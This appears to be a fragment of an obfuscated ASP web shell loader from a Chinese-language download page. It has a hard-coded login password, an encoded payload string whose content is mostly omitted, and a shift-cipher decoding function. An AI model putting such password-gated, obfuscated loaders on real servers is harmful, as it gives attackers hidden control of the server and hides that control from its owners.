<%
Const userPassword = "testit" ''登錄密碼
hu="琳琳5(63216(P:5,7(BD^2省略很多
function UnEncode(temp)
but=34
for i = 1 to len(temp)
    if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
            if pk>126 then
                    pk=pk-95
            elseif pk<32 then
                     pk=pk+95
             end if
             a=a&chr(pk)
end if
   else
             a=a&vbcrlf
   end if
next
UnEncode=a
end function
%>
本地下載

最新評論